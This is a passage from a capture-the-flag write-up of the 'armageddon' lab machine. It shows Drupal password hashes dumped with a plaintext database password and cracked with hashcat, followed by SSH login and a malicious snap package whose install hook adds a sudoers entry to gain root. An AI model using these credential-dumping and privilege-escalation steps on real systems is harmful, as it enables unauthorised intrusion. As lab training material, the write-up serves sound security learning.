<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">signature_format</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">        varchar</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">(</span><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">255</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">)    </span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">YES</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">             NULL</span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">created</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> int</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">(</span><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">11</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">) </span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">NO</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">      MUL</span><span style="--shiki-light:#005CC5;--shiki-dark:#D19A66">     0</span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">access</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">  int</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">(</span><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">11</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">) </span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">NO</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">      MUL</span><span style="--shiki-light:#005CC5;--shiki-dark:#D19A66">     0</span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">login</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">   int</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">(</span><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">11</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">) </span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">NO</span><span style="--shiki-light:#005CC5;--shiki-dark:#D19A66">              0</span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">status</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">  tinyint</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">(</span><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">4</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">)      </span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">NO</span><span style="--shiki-light:#005CC5;--shiki-dark:#D19A66">              0</span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">timezone</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">        varchar</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">(</span><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">32</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">)     </span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">YES</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">             NULL</span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">language</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">        varchar</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">(</span><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">12</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">)     </span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">NO</span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">picture</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> int</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">(</span><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">11</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">) </span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">NO</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">      MUL</span><span style="--shiki-light:#005CC5;--shiki-dark:#D19A66">     0</span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">init</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">    varchar</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">(</span><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">254</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">)    </span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">YES</span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">data</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">    longblob</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">        YES</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">             NULL</span></span>
<span class="line"></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">mysql</span><span style="--shiki-light:#005CC5;--shiki-dark:#D19A66"> -u</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> drupaluser</span><span style="--shiki-light:#005CC5;--shiki-dark:#D19A66"> -pCQHEy@9M</span><span style="--shiki-light:#D73A49;--shiki-dark:#ABB2BF">*</span><span style="--shiki-light:#005CC5;--shiki-dark:#D19A66">m23gBVj</span><span style="--shiki-light:#005CC5;--shiki-dark:#D19A66"> -e</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> "use drupal; select name,pass,mail,login from users;"</span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">name</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">    pass</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">    mail</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">    login</span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">                        0</span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">brucetherealadmin</span><span style="--shiki-light:#24292E;--shiki-dark:#E06C75">       $S$DgL2gjv6ZtxBo6CdqZEyJuBphBmrCqIV6W97</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">.oOsUf1xAhaadURt</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> admin@armageddon.eu</span><span style="--shiki-light:#005CC5;--shiki-dark:#D19A66">     1607076276</span></span>
<span class="line"><span style="--shiki-light:#005CC5;--shiki-dark:#56B6C2">test</span><span style="--shiki-light:#24292E;--shiki-dark:#E06C75">    $S$DBKu4Sj7hO5fI6tU4AtSzSXsp1eLLbpcEAG</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">/WrVqv0LIAQMvPK37</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> test@test.com</span><span style="--shiki-light:#005CC5;--shiki-dark:#D19A66">   0</span></span></code></pre>
<div class="line-numbers" aria-hidden="true" style="counter-reset:line-number 0"><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div></div></div><p>Following hashes were extracted :</p>
<div class="language- line-numbers-mode" data-highlighter="shiki" data-ext="" data-title="" style="--shiki-light:#24292e;--shiki-dark:#abb2bf;--shiki-light-bg:#fff;--shiki-dark-bg:#282c34"><pre class="shiki shiki-themes github-light one-dark-pro vp-code"><code><span class="line"><span>$S$DgL2gjv6ZtxBo6CdqZEyJuBphBmrCqIV6W97.oOsUf1xAhaadURt</span></span>
<span class="line"><span>$S$DBKu4Sj7hO5fI6tU4AtSzSXsp1eLLbpcEAG/WrVqv0LIAQMvPK37</span></span></code></pre>
<div class="line-numbers" aria-hidden="true" style="counter-reset:line-number 0"><div class="line-number"></div><div class="line-number"></div></div></div><p>I used <code>hashcat</code> to try to crack this hashes. The mode for Drupal 7 hashes is <code>7900</code>. I used the famous wordlist <code>rockyou</code>.</p>
<div class="language-bash line-numbers-mode" data-highlighter="shiki" data-ext="bash" data-title="bash" style="--shiki-light:#24292e;--shiki-dark:#abb2bf;--shiki-light-bg:#fff;--shiki-dark-bg:#282c34"><pre class="shiki shiki-themes github-light one-dark-pro vp-code"><code><span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#ABB2BF">&gt;</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF"> hashcat -m 7900 -a 0 hash.txt opt/rockyou.txt</span></span>
<span class="line"></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">Dictionary</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> cache</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> built:</span></span>
<span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#ABB2BF">*</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF"> Filename..: opt/rockyou.txt</span></span>
<span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#ABB2BF">*</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF"> Passwords.: 14344391</span></span>
<span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#ABB2BF">*</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF"> Bytes.....: 139921497</span></span>
<span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#ABB2BF">*</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF"> Keyspace..: 14344384</span></span>
<span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#ABB2BF">*</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF"> Runtime...: 2 secs</span></span>
<span class="line"></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E06C75">$S$DgL2gjv6ZtxBo6CdqZEyJuBphBmrCqIV6W97</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">.oOsUf1xAhaadURt:booboo</span></span></code></pre>
<div class="line-numbers" aria-hidden="true" style="counter-reset:line-number 0"><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div></div></div><p>Password of <code>Drupal</code> user <code>brucetherealadmin</code> was <code>booboo</code>.
I was able to log through SSH with these credentials.</p>
<figure><figcaption></figcaption></figure>
<h3>Flag</h3>
<p>The flag <code>d57298f3be1a3080a5bc8a8a29db4c85</code> was retrieved on the machine.</p>
<figure><figcaption>user-flag</figcaption></figure>
<h2>User enumeration in the context of the user <code>brucetherealadmin</code></h2>
<div class="language-bash line-numbers-mode" data-highlighter="shiki" data-ext="bash" data-title="bash" style="--shiki-light:#24292e;--shiki-dark:#abb2bf;--shiki-light-bg:#fff;--shiki-dark-bg:#282c34"><pre class="shiki shiki-themes github-light one-dark-pro vp-code"><code><span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">[brucetherealadmin@armageddon </span><span style="--shiki-light:#D73A49;--shiki-dark:#ABB2BF">~</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">]$ sudo -l</span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">Matching</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> Defaults</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> entries</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> for</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> brucetherealadmin</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> on</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> armageddon:</span></span>
<span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#ABB2BF">    !</span><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">visiblepw,</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> always_set_home,</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> match_group_by_gid,</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> always_query_group_plugin,</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> env_reset,</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> env_keep="COLORS DISPLAY HOSTNAME HISTSIZE KDEDIR LS_COLORS",</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> env_keep+="MAIL PS1 PS2 QTDIR USERNAME LANG LC_ADDRESS</span></span>
<span class="line"><span style="--shiki-light:#032F62;--shiki-dark:#98C379">    LC_CTYPE",</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> env_keep+="LC_COLLATE LC_IDENTIFICATION LC_MEASUREMENT LC_MESSAGES",</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> env_keep+="LC_MONETARY LC_NAME LC_NUMERIC LC_PAPER LC_TELEPHONE",</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> env_keep+="LC_TIME LC_ALL LANGUAGE LINGUAS _XKB_CHARSET</span></span>
<span class="line"><span style="--shiki-light:#032F62;--shiki-dark:#98C379">    XAUTHORITY",</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> secure_path=/sbin</span><span style="--shiki-light:#005CC5;--shiki-dark:#56B6C2">\:</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">/bin</span><span style="--shiki-light:#005CC5;--shiki-dark:#56B6C2">\:</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">/usr/sbin</span><span style="--shiki-light:#005CC5;--shiki-dark:#56B6C2">\:</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">/usr/bin</span></span>
<span class="line"></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">User</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> brucetherealadmin</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> may</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> run</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> the</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> following</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> commands</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> on</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> armageddon:</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">    (</span><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">root</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">) </span><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">NOPASSWD:</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> /usr/bin/snap</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> install</span><span style="--shiki-light:#005CC5;--shiki-dark:#E5C07B"> *</span></span></code></pre>
<div class="line-numbers" aria-hidden="true" style="counter-reset:line-number 0"><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div></div></div><p>We can install snap with root rights. I step up a machine where I could build a snapcraft application and try to install it. However snap application are self-contained and we need to find a way to alter the root system at the installation. Hopefully, as of version 2.27 an <code>install</code> hook can be set on the machine. The main purpose of this feature would be to load a config file into the snap application. More information can be found here : <a href="https://kyrofa.com/posts/snap-install-time-setup-the-install-hook/" target="_blank" rel="noopener noreferrer">https://kyrofa.com/posts/snap-install-time-setup-the-install-hook/</a>.</p>
<p>A particular attention needs to be take onto the fact that the <code>install</code> hook will <strong>only</strong> be executed upon initial installation and not any refresh or remove of the application.</p>
<p>I build a little application with <code>snapcraft</code>. I firstly init an empty project with <code>snapcraft init</code> and then I filled the <code>snapcraft.yaml</code> config file.</p>
<div class="language-yaml line-numbers-mode" data-highlighter="shiki" data-ext="yaml" data-title="yaml" style="--shiki-light:#24292e;--shiki-dark:#abb2bf;--shiki-light-bg:#fff;--shiki-dark-bg:#282c34"><pre class="shiki shiki-themes github-light one-dark-pro vp-code"><code><span class="line"><span style="--shiki-light:#22863A;--shiki-dark:#E06C75">name</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">: </span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">evil-snap</span></span>
<span class="line"><span style="--shiki-light:#22863A;--shiki-dark:#E06C75">base</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">: </span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">core</span></span>
<span class="line"><span style="--shiki-light:#22863A;--shiki-dark:#E06C75">version</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">: </span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">'0.1'</span></span>
<span class="line"><span style="--shiki-light:#22863A;--shiki-dark:#E06C75">summary</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">: </span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">evil snap</span></span>
<span class="line"><span style="--shiki-light:#22863A;--shiki-dark:#E06C75">description</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">: </span><span style="--shiki-light:#D73A49;--shiki-dark:#C678DD">|</span></span>
<span class="line"><span style="--shiki-light:#032F62;--shiki-dark:#98C379">  Evil snap.</span></span>
<span class="line"></span>
<span class="line"><span style="--shiki-light:#22863A;--shiki-dark:#E06C75">grade</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">: </span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">devel</span></span>
<span class="line"><span style="--shiki-light:#22863A;--shiki-dark:#E06C75">confinement</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">: </span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">devmode</span></span>
<span class="line"><span style="--shiki-light:#22863A;--shiki-dark:#E06C75">architectures</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">: [ </span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">all</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF"> ]</span></span>
<span class="line"></span>
<span class="line"><span style="--shiki-light:#22863A;--shiki-dark:#E06C75">parts</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">:</span></span>
<span class="line"><span style="--shiki-light:#22863A;--shiki-dark:#E06C75">  evil-snap</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">:</span></span>
<span class="line"><span style="--shiki-light:#22863A;--shiki-dark:#E06C75">    plugin</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">: </span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">nil</span></span></code></pre>
<div class="line-numbers" aria-hidden="true" style="counter-reset:line-number 0"><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div></div></div><p>I created an <code>install</code> hook under <code>/snap/hooks/install</code> with the following code :</p>
<div class="language-bash line-numbers-mode" data-highlighter="shiki" data-ext="bash" data-title="bash" style="--shiki-light:#24292e;--shiki-dark:#abb2bf;--shiki-light-bg:#fff;--shiki-dark-bg:#282c34"><pre class="shiki shiki-themes github-light one-dark-pro vp-code"><code><span class="line"><span style="--shiki-light:#6A737D;--shiki-light-font-style:inherit;--shiki-dark:#7F848E;--shiki-dark-font-style:italic">#!/bin/bash</span></span>
<span class="line"></span>
<span class="line"><span style="--shiki-light:#005CC5;--shiki-dark:#56B6C2">echo</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> "brucetherealadmin ALL=(ALL:ALL) ALL"</span><span style="--shiki-light:#D73A49;--shiki-dark:#ABB2BF"> &gt;&gt;</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> /etc/sudoers</span></span></code></pre>
<div class="line-numbers" aria-hidden="true" style="counter-reset:line-number 0"><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div></div></div><p>Final structure is like so.</p>
<div class="language-bash line-numbers-mode" data-highlighter="shiki" data-ext="bash" data-title="bash" style="--shiki-light:#24292e;--shiki-dark:#abb2bf;--shiki-light-bg:#fff;--shiki-dark-bg:#282c34"><pre class="shiki shiki-themes github-light one-dark-pro vp-code"><code><span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#ABB2BF">&gt;</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF"> tree evil-snap</span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">evil-snap</span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">└──</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> snap</span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">    ├──</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> hooks</span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">    │&nbsp;&nbsp;</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> └──</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> install</span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">    └──</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> snapcraft.yaml</span></span>
<span class="line"></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">2</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> directories,</span><span style="--shiki-light:#005CC5;--shiki-dark:#D19A66"> 2</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> files</span></span></code></pre>
<div class="line-numbers" aria-hidden="true" style="counter-reset:line-number 0"><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div></div></div><p>I then crafted the application with <code>snapcraft</code>.</p>
<div class="language-bash line-numbers-mode" data-highlighter="shiki" data-ext="bash" data-title="bash" style="--shiki-light:#24292e;--shiki-dark:#abb2bf;--shiki-light-bg:#fff;--shiki-dark-bg:#282c34"><pre class="shiki shiki-themes github-light one-dark-pro vp-code"><code><span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#ABB2BF">&gt;</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF"> cd evil-snap</span></span>
<span class="line"></span>
<span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#ABB2BF">&gt;</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF"> snapcraft --use-lxd</span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">Running</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> with</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> 'sudo'</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> may</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> cause</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> permission</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> errors</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> and</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> is</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> discouraged.</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> Use</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> 'sudo'</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> when</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> cleaning.</span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">Launching</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> a</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> container.</span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">Waiting</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> for</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> container</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> to</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> be</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> ready</span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">Waiting</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> for</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> network</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> to</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> be</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> ready...</span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">snapd</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> is</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> not</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> logged</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> in,</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> snap</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> install</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> commands</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> will</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> use</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> sudo</span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">snap</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> "core"</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> has</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> no</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> updates</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> available</span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">Skipping</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> pull</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> evil-snap</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF"> (already </span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">ran</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">)</span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">Skipping</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> build</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> evil-snap</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF"> (already </span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">ran</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">)</span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">Skipping</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> stage</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> evil-snap</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF"> (already </span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">ran</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">)</span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">Skipping</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> prime</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> evil-snap</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF"> (already </span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">ran</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">)</span></span>
